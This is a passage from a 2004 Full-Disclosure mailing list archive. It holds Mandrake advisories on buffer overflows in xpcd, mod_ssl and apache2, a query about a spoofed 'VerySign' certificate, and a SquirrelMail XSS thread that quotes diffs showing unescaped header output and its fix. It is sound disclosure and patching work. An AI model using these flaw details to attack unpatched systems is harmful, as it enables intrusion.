The latest Stable is itself quite old. Debian does not release very
often. But security bugs are fixed when they become known. I have not
found any bug report concerning XSS in the Debian bugs database. Please
be so kind and file bugs if you are running Debian. If not, please mail
the Debian Security Team as described in
  http://www.de.debian.org/security/faq#contact

Thank you,
Lupe Christoph
-- 
| lupe at lupe-christoph.de       |           http://www.lupe-christoph.de/ |
| "... putting a mail server on the Internet without filtering is like   |
| covering yourself with barbecue sauce and breaking into the Charity    |
| Home for Badgers with Rabies.                            Michael Lucas |



From security at linux-mandrake.com  Tue Jun  1 22:57:52 2004
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: 1 Jun 2004 21:57:52 -0000
Subject: [Full-Disclosure] MDKSA-2004:053 - Updated xpcd package fix vulnerabilities
Message-ID: <20040601215752.17503.qmail@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           xpcd
 Advisory ID:            MDKSA-2004:053
 Date:                   June 1st, 2004

 Affected versions:	 10.0, 9.2
 ______________________________________________________________________

 Problem Description:

 A vulnerability in xpcd-svga, part of xpcd, was discovered by Jaguar.
 xpcd-svga uses svgalib to display graphics on the console and it
 would copy user-supplied data of an arbitrary length into a fixed-size
 buffer in the pcd_open function.
 
 As well, Steve Kemp previously discovered a buffer overflow in
 xpcd-svga that could be triggered by a long HOME environment variable,
 which could be exploited by a local attacker to obtain root
 privileges.
 
 The updated packages resolve these vulnerabilities.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0649
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0402
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 95c59861d1efef825ab730cba2691365  10.0/RPMS/xpcd-2.08-20.1.100mdk.i586.rpm
 3114811e46e3a4b82e053894f153643d  10.0/RPMS/xpcd-gimp-2.08-20.1.100mdk.i586.rpm
 b3df76a539187146894f18d67a2967fd  10.0/SRPMS/xpcd-2.08-20.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 50261e00a816e5621ce37d0f6320a941  amd64/10.0/RPMS/xpcd-2.08-20.1.100mdk.amd64.rpm
 4362a1d3211af0c386aef08abfc74cc6  amd64/10.0/RPMS/xpcd-gimp-2.08-20.1.100mdk.amd64.rpm
 b3df76a539187146894f18d67a2967fd  amd64/10.0/SRPMS/xpcd-2.08-20.1.100mdk.src.rpm

 Mandrakelinux 9.2:
 907efca9e8de1fc9489755c919c51b8b  9.2/RPMS/xpcd-2.08-20.1.92mdk.i586.rpm
 41078887e2d6bf60d376540653e997f7  9.2/RPMS/xpcd-gimp-2.08-20.1.92mdk.i586.rpm
 9e2a2741fb7130324737a9262dbe8afb  9.2/SRPMS/xpcd-2.08-20.1.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 4f434cc67c282744664a14e285b24e9e  amd64/9.2/RPMS/xpcd-2.08-20.1.92mdk.amd64.rpm
 7b6d9c0dfe83763823cc007f0956b173  amd64/9.2/RPMS/xpcd-gimp-2.08-20.1.92mdk.amd64.rpm
 9e2a2741fb7130324737a9262dbe8afb  amd64/9.2/SRPMS/xpcd-2.08-20.1.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFAvPvgmqjQ0CJFipgRAo8iAJ45Y7VU+B4FPBUwtbpjNyq8WJPA7wCgoVf+
8St+6Ck5Tqq1iRjZpa9L/x4=
=iwPf
-----END PGP SIGNATURE-----



From security at linux-mandrake.com  Tue Jun  1 23:01:32 2004
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: 1 Jun 2004 22:01:32 -0000
Subject: [Full-Disclosure] MDKSA-2004:054 - Updated mod_ssl package fix remote vulnerability
Message-ID: <20040601220132.18065.qmail@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           mod_ssl
 Advisory ID:            MDKSA-2004:054
 Date:                   June 1st, 2004

 Affected versions:	 10.0, 9.1, 9.2, Corporate Server 2.1,
			 Multi Network Firewall 8.2
 ______________________________________________________________________

 Problem Description:

 A stack-based buffer overflow exists in the ssl_util_uuencode_binary
 function in ssl_engine_kernel.c in mod_ssl for Apache 1.3.x.  When
 mod_ssl is configured to trust the issuing CA, a remote attacker may be
 able to execute arbitrary code via a client certificate with a long
 subject DN.
 
 The provided packages are patched to prevent this problem.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0488
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 e835aa3c42443822b1bb38202a242864  10.0/RPMS/mod_ssl-2.8.16-1.1.100mdk.i586.rpm
 92c3494519927447e841b87e41c18030  10.0/SRPMS/mod_ssl-2.8.16-1.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 9443127cebae4776cba6a419faea6db9  amd64/10.0/RPMS/mod_ssl-2.8.16-1.1.100mdk.amd64.rpm
 92c3494519927447e841b87e41c18030  amd64/10.0/SRPMS/mod_ssl-2.8.16-1.1.100mdk.src.rpm

 Corporate Server 2.1:
 02f0643ee2c77e343e982d45272d2736  corporate/2.1/RPMS/mod_ssl-2.8.10-5.3.C21mdk.i586.rpm
 9dcf45014753c32281f3ef9424bdb4d3  corporate/2.1/SRPMS/mod_ssl-2.8.10-5.3.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 a9bb204c891b9f4e02d611ec5d26438b  x86_64/corporate/2.1/RPMS/mod_ssl-2.8.10-5.3.C21mdk.x86_64.rpm
 9dcf45014753c32281f3ef9424bdb4d3  x86_64/corporate/2.1/SRPMS/mod_ssl-2.8.10-5.3.C21mdk.src.rpm

 Mandrakelinux 9.1:
 5cb8b20c7d25a23c41797fa9cc1515ff  9.1/RPMS/mod_ssl-2.8.12-8.1.91mdk.i586.rpm
 f8222566b9d5dfb1a920a73f16142d4a  9.1/SRPMS/mod_ssl-2.8.12-8.1.91mdk.src.rpm

 Mandrakelinux 9.1/PPC:
 254ddacd51c9a8a82207c4a268c064f6  ppc/9.1/RPMS/mod_ssl-2.8.12-8.1.91mdk.ppc.rpm
 f8222566b9d5dfb1a920a73f16142d4a  ppc/9.1/SRPMS/mod_ssl-2.8.12-8.1.91mdk.src.rpm

 Mandrakelinux 9.2:
 806e5234ca391db643339020e719bc0f  9.2/RPMS/mod_ssl-2.8.15-1.1.92mdk.i586.rpm
 1bb3fbc11273a15fb681c8f94925154d  9.2/SRPMS/mod_ssl-2.8.15-1.1.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 d46068aa64c2aa3c106428d6bcf5e480  amd64/9.2/RPMS/mod_ssl-2.8.15-1.1.92mdk.amd64.rpm
 1bb3fbc11273a15fb681c8f94925154d  amd64/9.2/SRPMS/mod_ssl-2.8.15-1.1.92mdk.src.rpm

 Multi Network Firewall 8.2:
 9855760b94cdb77928ed1a480684bd7c  mnf8.2/RPMS/mod_ssl-2.8.7-3.3.M82mdk.i586.rpm
 4ad6b33008550170e737fdd9d69a72ed  mnf8.2/SRPMS/mod_ssl-2.8.7-3.3.M82mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFAvPy8mqjQ0CJFipgRAmaEAJ0SeN4R050lOF3LuUcQTlmzCT8INACfaQ7n
qpVhOLhikQRBRFscxFo53A0=
=uv5H
-----END PGP SIGNATURE-----



From chris at sw.gotdns.org  Tue Jun  1 23:09:31 2004
From: chris at sw.gotdns.org (Chris van der Pennen)
Date: Wed, 2 Jun 2004 07:39:31 +0930 (Cen. Australia Standard Time)
Subject: [Full-Disclosure] VerySign Class 1 Authority - bogus SSL certificate?
Message-ID: <Pine.WNT.4.58.0406020735390.1728@nightshade>

I've been getting SSL certificates from various websites recently that are
apparently from a "VerySign Class 1 Authority" - note the 'y' in VerySign.
The certificate expired 6 December 2002.

The data in Issued To and Issued By are identical.

This smells very much like an SSL hijack attempt - can anyone shed some
light on the situation?

Chris



From security at linux-mandrake.com  Tue Jun  1 23:12:33 2004
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: 1 Jun 2004 22:12:33 -0000
Subject: [Full-Disclosure] MDKSA-2004:055 - Updated apache2 package fix vulnerability in mod_ssl
Message-ID: <20040601221233.18774.qmail@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           apache2
 Advisory ID:            MDKSA-2004:055
 Date:                   June 1st, 2004

 Affected versions:	 10.0, 9.1, 9.2
 ______________________________________________________________________

 Problem Description:

 A stack-based buffer overflow exists in the ssl_util_uuencode_binary
 function in ssl_util.c in Apache.  When mod_ssl is configured to trust
 the issuing CA, a remote attacker may be able to execute arbitrary
 code via a client certificate with a long subject DN.
 
 The provided packages are patched to prevent this problem.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0488
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 3111b612aa249513d3bfd62d660d84f5  10.0/RPMS/apache2-2.0.48-6.2.100mdk.i586.rpm
 be7f4c6d9976385c6884762a67521a20  10.0/RPMS/apache2-common-2.0.48-6.2.100mdk.i586.rpm
 510706a2c99f5f7cc5f3e77bdb5da5aa  10.0/RPMS/apache2-devel-2.0.48-6.2.100mdk.i586.rpm
 f227a7c85de5ab4ccdc0b23afb6c7592  10.0/RPMS/apache2-manual-2.0.48-6.2.100mdk.i586.rpm
 0f39dd91febd2c23330e9d1c493891b6  10.0/RPMS/apache2-mod_cache-2.0.48-6.2.100mdk.i586.rpm
 df6e1335b214e94f0c674851ff3212cf  10.0/RPMS/apache2-mod_dav-2.0.48-6.2.100mdk.i586.rpm
 b1c6a7416444501b8060bbdf8ca48f0a  10.0/RPMS/apache2-mod_deflate-2.0.48-6.2.100mdk.i586.rpm
 b6280f32c97c63b5088012838bc89cba  10.0/RPMS/apache2-mod_disk_cache-2.0.48-6.2.100mdk.i586.rpm
 5c170c8430f68fb4a4afed4434b1e513  10.0/RPMS/apache2-mod_file_cache-2.0.48-6.2.100mdk.i586.rpm
 23bc5e376539bcee81b457f730efd7fd  10.0/RPMS/apache2-mod_ldap-2.0.48-6.2.100mdk.i586.rpm
 9ce5229a7cc6ab93d85ec012ce696494  10.0/RPMS/apache2-mod_mem_cache-2.0.48-6.2.100mdk.i586.rpm
 0c86183703f69db7cdb28de391d3f78e  10.0/RPMS/apache2-mod_proxy-2.0.48-6.2.100mdk.i586.rpm
 b87416a718964d75904e529e52106063  10.0/RPMS/apache2-mod_ssl-2.0.48-6.2.100mdk.i586.rpm
 432f0f4ae5e38e9b43b8364f324763dc  10.0/RPMS/apache2-modules-2.0.48-6.2.100mdk.i586.rpm
 0427b1a08aabbd081cfca08af6071588  10.0/RPMS/apache2-source-2.0.48-6.2.100mdk.i586.rpm
 f9ab0637af7ce7159d5252976ddd27e1  10.0/RPMS/libapr0-2.0.48-6.2.100mdk.i586.rpm
 c2af0f267d9b0a31539c7c5e7fbdb4d9  10.0/SRPMS/apache2-2.0.48-6.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 b5434064b5ba9aa3295275029dd355f7  amd64/10.0/RPMS/apache2-2.0.48-6.2.100mdk.amd64.rpm
 3e24450b95d3800cb2b53cbfe4247ed2  amd64/10.0/RPMS/apache2-common-2.0.48-6.2.100mdk.amd64.rpm
 1513d147a1cd7e7d39b3544cef4452d8  amd64/10.0/RPMS/apache2-devel-2.0.48-6.2.100mdk.amd64.rpm
 337ff1d5f687d7ea370d66244f1f773d  amd64/10.0/RPMS/apache2-manual-2.0.48-6.2.100mdk.amd64.rpm
 77a114c6f9a8719e1a1c190efef8744c  amd64/10.0/RPMS/apache2-mod_cache-2.0.48-6.2.100mdk.amd64.rpm
 0f4e28c95bf98b580974cef192aed867  amd64/10.0/RPMS/apache2-mod_dav-2.0.48-6.2.100mdk.amd64.rpm
 25a8a1b55d27e905eaf152a4ac264dbd  amd64/10.0/RPMS/apache2-mod_deflate-2.0.48-6.2.100mdk.amd64.rpm
 4c5dc9c54eb70194a3060a2365d6b4e8  amd64/10.0/RPMS/apache2-mod_disk_cache-2.0.48-6.2.100mdk.amd64.rpm
 d72b2779cd56ac23897071f6d8c62384  amd64/10.0/RPMS/apache2-mod_file_cache-2.0.48-6.2.100mdk.amd64.rpm
 752d4bca2e9fd6815745ce2265250c67  amd64/10.0/RPMS/apache2-mod_ldap-2.0.48-6.2.100mdk.amd64.rpm
 d414e1317b44b367d42937dd476e8484  amd64/10.0/RPMS/apache2-mod_mem_cache-2.0.48-6.2.100mdk.amd64.rpm
 0c33ae8b773b13eb528aa1e1769e36fa  amd64/10.0/RPMS/apache2-mod_proxy-2.0.48-6.2.100mdk.amd64.rpm
 fd54f99ef0c42360e09799cf881cd37b  amd64/10.0/RPMS/apache2-mod_ssl-2.0.48-6.2.100mdk.amd64.rpm
 c2361c2527ebbeafef57034173d2840b  amd64/10.0/RPMS/apache2-modules-2.0.48-6.2.100mdk.amd64.rpm
 f799b8ddd90bca399459acd04b7010e0  amd64/10.0/RPMS/apache2-source-2.0.48-6.2.100mdk.amd64.rpm
 e60ee45d646fb0a6bc6c20f18b7c30d3  amd64/10.0/RPMS/lib64apr0-2.0.48-6.2.100mdk.amd64.rpm
 c2af0f267d9b0a31539c7c5e7fbdb4d9  amd64/10.0/SRPMS/apache2-2.0.48-6.2.100mdk.src.rpm

 Mandrakelinux 9.1:
 a11cbb72043587a99412d7052dcba791  9.1/RPMS/apache2-2.0.47-1.8.91mdk.i586.rpm
 bbc02417b82fa4bc6b2b7a74a204c7c2  9.1/RPMS/apache2-common-2.0.47-1.8.91mdk.i586.rpm
 4cf89cb891b0856ba8b162e67061ea1a  9.1/RPMS/apache2-devel-2.0.47-1.8.91mdk.i586.rpm
 a96bfe336f16891d1d20a5a13b56a36f  9.1/RPMS/apache2-manual-2.0.47-1.8.91mdk.i586.rpm
 fea9374b8a23495b08ef5adad4074d23  9.1/RPMS/apache2-mod_dav-2.0.47-1.8.91mdk.i586.rpm
 88e51a6e2be5c81063e29c7429c63733  9.1/RPMS/apache2-mod_ldap-2.0.47-1.8.91mdk.i586.rpm
 d33b565415852146de64b950e2aeb178  9.1/RPMS/apache2-mod_ssl-2.0.47-1.8.91mdk.i586.rpm
 69a56bece8b91acfdc11e199dbe486c3  9.1/RPMS/apache2-modules-2.0.47-1.8.91mdk.i586.rpm
 a17ba2052134939a3e5947f595162033  9.1/RPMS/apache2-source-2.0.47-1.8.91mdk.i586.rpm
 5d0d10fe9603e84a1d48910c31eb783e  9.1/RPMS/libapr0-2.0.47-1.8.91mdk.i586.rpm
 d3034e88376372e030e6933191fd2dc9  9.1/SRPMS/apache2-2.0.47-1.8.91mdk.src.rpm

 Mandrakelinux 9.1/PPC:
 cdbeb822dbb99fda215877ea3e62b2b7  ppc/9.1/RPMS/apache2-2.0.47-1.8.91mdk.ppc.rpm
 ea58b7fe2522668f5748d722e38536fb  ppc/9.1/RPMS/apache2-common-2.0.47-1.8.91mdk.ppc.rpm
 830e5778c4765b6d788e6edc0de9e06f  ppc/9.1/RPMS/apache2-devel-2.0.47-1.8.91mdk.ppc.rpm
 ce43d8231c6e6e923871744fd72596f5  ppc/9.1/RPMS/apache2-manual-2.0.47-1.8.91mdk.ppc.rpm
 c88920e151a05c23dffe03998973e1a1  ppc/9.1/RPMS/apache2-mod_dav-2.0.47-1.8.91mdk.ppc.rpm
 f5b23a897dd1ee750496a7d852e634c5  ppc/9.1/RPMS/apache2-mod_ldap-2.0.47-1.8.91mdk.ppc.rpm
 494663652f8644d56beace3df3c63f00  ppc/9.1/RPMS/apache2-mod_ssl-2.0.47-1.8.91mdk.ppc.rpm
 3e02de6e503834d5982510d549117bcf  ppc/9.1/RPMS/apache2-modules-2.0.47-1.8.91mdk.ppc.rpm
 cd2d7f0e97ae4bceb365332f868d986d  ppc/9.1/RPMS/apache2-source-2.0.47-1.8.91mdk.ppc.rpm
 7f1525deceba60b85382ec30b4bb8003  ppc/9.1/RPMS/libapr0-2.0.47-1.8.91mdk.ppc.rpm
 d3034e88376372e030e6933191fd2dc9  ppc/9.1/SRPMS/apache2-2.0.47-1.8.91mdk.src.rpm

 Mandrakelinux 9.2:
 b45203ab6443ad24bc2373a82a9d0234  9.2/RPMS/apache2-2.0.47-6.5.92mdk.i586.rpm
 f727f5ce2d9504484b6acf7589f6a981  9.2/RPMS/apache2-common-2.0.47-6.5.92mdk.i586.rpm
 eafda47abdec2ac8e5898fb37c604def  9.2/RPMS/apache2-devel-2.0.47-6.5.92mdk.i586.rpm
 8842f5bab2a525868d7ded2c7737bf38  9.2/RPMS/apache2-manual-2.0.47-6.5.92mdk.i586.rpm
 e5eca4891a90df4777f83297fcb397d4  9.2/RPMS/apache2-mod_cache-2.0.47-6.5.92mdk.i586.rpm
 c234e089f0d35fbcd62360f8ce3fa6fb  9.2/RPMS/apache2-mod_dav-2.0.47-6.5.92mdk.i586.rpm
 623397c51d7b7239d169a997e7a365c0  9.2/RPMS/apache2-mod_deflate-2.0.47-6.5.92mdk.i586.rpm
 1a884f364a4155eb18698dc3a7fb92f3  9.2/RPMS/apache2-mod_disk_cache-2.0.47-6.5.92mdk.i586.rpm
 5ee061ac770af13bfc11a600d4a65ea1  9.2/RPMS/apache2-mod_file_cache-2.0.47-6.5.92mdk.i586.rpm
 88d9923fe86c2aa9eb3a249776ff8976  9.2/RPMS/apache2-mod_ldap-2.0.47-6.5.92mdk.i586.rpm
 179cbd3f6cb9b1e8d3536134e0e35354  9.2/RPMS/apache2-mod_mem_cache-2.0.47-6.5.92mdk.i586.rpm
 9167804d711ee3a478cd7042a0aa523d  9.2/RPMS/apache2-mod_proxy-2.0.47-6.5.92mdk.i586.rpm
 8ec772426dd2600b65021c5f60748c52  9.2/RPMS/apache2-mod_ssl-2.0.47-6.5.92mdk.i586.rpm
 dcc9dba2ecc0e8fa7e8fe9dae75b0959  9.2/RPMS/apache2-modules-2.0.47-6.5.92mdk.i586.rpm
 0b949c30da2754ae3b88a803cb45517a  9.2/RPMS/apache2-source-2.0.47-6.5.92mdk.i586.rpm
 0833bcad1698f811d18bbb12ce11dc3c  9.2/RPMS/libapr0-2.0.47-6.5.92mdk.i586.rpm
 1afd7ce470710ac3ed8f7ae4e344ff92  9.2/SRPMS/apache2-2.0.47-6.5.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 6744490bc56e70abf362927c3755db17  amd64/9.2/RPMS/apache2-2.0.47-6.5.92mdk.amd64.rpm
 35e7d6f05a478db830a165aa05382a17  amd64/9.2/RPMS/apache2-common-2.0.47-6.5.92mdk.amd64.rpm
 cfa01cdb3126e6a735ff69c936c1f9e5  amd64/9.2/RPMS/apache2-devel-2.0.47-6.5.92mdk.amd64.rpm
 5e52e0ef523a8383cede0395c2c04430  amd64/9.2/RPMS/apache2-manual-2.0.47-6.5.92mdk.amd64.rpm
 db785af0a804319de566134b585abb36  amd64/9.2/RPMS/apache2-mod_cache-2.0.47-6.5.92mdk.amd64.rpm
 0c1fe531569925cfd812d1340489ecc5  amd64/9.2/RPMS/apache2-mod_dav-2.0.47-6.5.92mdk.amd64.rpm
 f67dab1f37130bf6eb0ddfb65c4fdda9  amd64/9.2/RPMS/apache2-mod_deflate-2.0.47-6.5.92mdk.amd64.rpm
 ed8d8f03faff8ebbe3d88392fa94dcd4  amd64/9.2/RPMS/apache2-mod_disk_cache-2.0.47-6.5.92mdk.amd64.rpm
 e4ceff685c7aac3f156a05ecd91e73f4  amd64/9.2/RPMS/apache2-mod_file_cache-2.0.47-6.5.92mdk.amd64.rpm
 0cedfd81e38b7af96a20a58d75afb4b6  amd64/9.2/RPMS/apache2-mod_ldap-2.0.47-6.5.92mdk.amd64.rpm
 ebee758fa628bcadd8a53cea587497a2  amd64/9.2/RPMS/apache2-mod_mem_cache-2.0.47-6.5.92mdk.amd64.rpm
 aa732eb8c3cd2d5f456e15cdcce6aa08  amd64/9.2/RPMS/apache2-mod_proxy-2.0.47-6.5.92mdk.amd64.rpm
 41e4d2277f0196b9a6e5d259f9df39c4  amd64/9.2/RPMS/apache2-mod_ssl-2.0.47-6.5.92mdk.amd64.rpm
 1014599e6cfb73e88cd8991cb8f78bfc  amd64/9.2/RPMS/apache2-modules-2.0.47-6.5.92mdk.amd64.rpm
 f91bc1ce80d21e5b2830e7c1aead5178  amd64/9.2/RPMS/apache2-source-2.0.47-6.5.92mdk.amd64.rpm
 6d6fed31d95ee6b23f6fce0abe9e645a  amd64/9.2/RPMS/lib64apr0-2.0.47-6.5.92mdk.amd64.rpm
 1afd7ce470710ac3ed8f7ae4e344ff92  amd64/9.2/SRPMS/apache2-2.0.47-6.5.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFAvP9RmqjQ0CJFipgRAnLWAJ9XhMeD5o0GtecsyXY8IVVQGGT8XwCeP562
+x53j3ohHo6aZEMnXAy7sko=
=EJEa
-----END PGP SIGNATURE-----



From roman at rs-labs.com  Wed Jun  2 00:49:01 2004
From: roman at rs-labs.com (Roman Medina)
Date: Wed, 02 Jun 2004 01:49:01 +0200
Subject: [Full-Disclosure] Re: RS-2004-1: SquirrelMail "Content-Type" XSS vulnerability
In-Reply-To: <20040601211332.GB1538@lupe-christoph.de>
References: <ucdib0lfc67jlcbugut58aqubhbb456dbr@4ax.com> <20040601211332.GB1538@lupe-christoph.de>
Message-ID: <424qb0hejaasctgams01s0hd8s1roapkc7@4ax.com>

On Tue, 1 Jun 2004 23:13:32 +0200, you wrote:

>On Sunday, 2004-05-30 at 03:15:44 +0200, Roman Medina wrote:
>
>> I also noticed that latest Debian stable distro ships a very old
>> version of SquirrelMail, which is vulnerable to several old XSS bugs
>> (in addition to the new one).
>
>The latest Stable is itself quite old. Debian does not release very
>often. But security bugs are fixed when they become known. I have not
>found any bug report concerning XSS in the Debian bugs database. Please
>be so kind and file bugs if you are running Debian. If not, please mail
>the Debian Security Team as described in
>  http://www.de.debian.org/security/faq#contact

 The point here is that it is not easy or always possible to track any
error being corrected on every software. In other words, many
vendors/developers silently fixes bugs and they don't necesarily have
to know who is packaging their software and inform them. Mix this with
the (IMHO) too much conservative Debian's policy, beat well and you've
got it :-)

 I did not performed an exhaustive check. Simply I chose some of the
latest 2.x versions from changelog where it was listed the string
"XSS", I had the strong feeling that the bug would be still present in
Debian stable. And I guessed it :)

 The result is listed in my advisory. Quoting from it:

"  I chose between two beautiful bugs:

roman at rs-labs:~$ diff -ur squirrelmail-1.2.10/src/read_body.php
squirrelmail-1.2.11/src/read_body.php
@@ -976,7 +977,7 @@
                      "<TD BGCOLOR=\"$color[0]\" ALIGN=RIGHT
VALIGN=TOP>" .
                            _("Mailer") . ': '.
                      "</TD><TD BGCOLOR=\"$color[0]\" VALIGN=TOP
colspan=2>" .
- -                        "<B>$mailer</B>&nbsp;" .
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;"
.
                      '</TD>' .
                   "</TR>" . "\n";
  
roman at rs-labs:~$ diff -ur
squirrelmail-1.2.10/functions/mailbox_display.php
squirrelmail-1.2.11/functions/mailbox_display.php
 require_once('../functions/strings.php');
@@ -59,7 +59,7 @@
             if ($senderName != '') {
                 $senderName .= ', ';
             }
- -            $senderName .=
sqimap_find_displayable_name($senderNames_part);
+            $senderName .=
htmlentities(sqimap_find_displayable_name($senderNames_part));
         }
     }
"

 I repeat that I didn't test other versions (and I haven't more time
to spend on this). I've placed Debian security team email on CC but
you should know that I informed Sam (Debian maintainer for SM) of all
this issues. Indeed I've exchanged many mails with SM team / Sam (both
of them always being on CC / To). The final advisory also was sent to
Sam before the release. I supposed he would release new .deb packages.
I don't know what happened.

 Saludos,
 --Roman

--
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB  29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]



From security at linux-mandrake.com  Wed Jun  2 01:12:15 2004
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: 2 Jun 2004 00:12:15 -0000
Subject: [Full-Disclosure] MDKSA-2004:054 - Updated mod_ssl package fix remote vulnerability
Message-ID: <20040602001215.19511.qmail@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           mod_ssl
 Advisory ID:            MDKSA-2004:054
 Date:                   June 1st, 2004

 Affected versions:	 10.0, 9.1, 9.2, Corporate Server 2.1,
			 Multi Network Firewall 8.2
 ______________________________________________________________________

 Problem Description:

 A stack-based buffer overflow exists in the ssl_util_uuencode_binary
 function in ssl_engine_kernel.c in mod_ssl for Apache 1.3.x.  When
 mod_ssl is configured to trust the issuing CA, a remote attacker may be
 able to execute arbitrary code via a client certificate with a long
 subject DN.
 
 The provided packages are patched to prevent this problem.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0488
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 e835aa3c42443822b1bb38202a242864  10.0/RPMS/mod_ssl-2.8.16-1.1.100mdk.i586.rpm
 92c3494519927447e841b87e41c18030  10.0/SRPMS/mod_ssl-2.8.16-1.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 9443127cebae4776cba6a419faea6db9  amd64/10.0/RPMS/mod_ssl-2.8.16-1.1.100mdk.amd64.rpm
 92c3494519927447e841b87e41c18030  amd64/10.0/SRPMS/mod_ssl-2.8.16-1.1.100mdk.src.rpm

 Corporate Server 2.1:
 02f0643ee2c77e343e982d45272d2736  corporate/2.1/RPMS/mod_ssl-2.8.10-5.3.C21mdk.i586.rpm
 9dcf45014753c32281f3ef9424bdb4d3  corporate/2.1/SRPMS/mod_ssl-2.8.10-5.3.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 a9bb204c891b9f4e02d611ec5d26438b  x86_64/corporate/2.1/RPMS/mod_ssl-2.8.10-5.3.C21mdk.x86_64.rpm
 9dcf45014753c32281f3ef9424bdb4d3  x86_64/corporate/2.1/SRPMS/mod_ssl-2.8.10-5.3.C21mdk.src.rpm

 Mandrakelinux 9.1:
 5cb8b20c7d25a23c41797fa9cc1515ff  9.1/RPMS/mod_ssl-2.8.12-8.1.91mdk.i586.rpm
 f8222566b9d5dfb1a920a73f16142d4a  9.1/SRPMS/mod_ssl-2.8.12-8.1.91mdk.src.rpm

 Mandrakelinux 9.1/PPC:
 254ddacd51c9a8a82207c4a268c064f6  ppc/9.1/RPMS/mod_ssl-2.8.12-8.1.91mdk.ppc.rpm
 f8222566b9d5dfb1a920a73f16142d4a  ppc/9.1/SRPMS/mod_ssl-2.8.12-8.1.91mdk.src.rpm

 Mandrakelinux 9.2:
 806e5234ca391db643339020e719bc0f  9.2/RPMS/mod_ssl-2.8.15-1.1.92mdk.i586.rpm
 1bb3fbc11273a15fb681c8f94925154d  9.2/SRPMS/mod_ssl-2.8.15-1.1.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 d46068aa64c2aa3c106428d6bcf5e480  amd64/9.2/RPMS/mod_ssl-2.8.15-1.1.92mdk.amd64.rpm
 1bb3fbc11273a15fb681c8f94925154d  amd64/9.2/SRPMS/mod_ssl-2.8.15-1.1.92mdk.src.rpm

 Multi Network Firewall 8.2:
 9855760b94cdb77928ed1a480684bd7c  mnf8.2/RPMS/mod_ssl-2.8.7-3.3.M82mdk.i586.rpm
 4ad6b33008550170e737fdd9d69a72ed  mnf8.2/SRPMS/mod_ssl-2.8.7-3.3.M82mdk.src.rpm
 _______________________________________________________________________
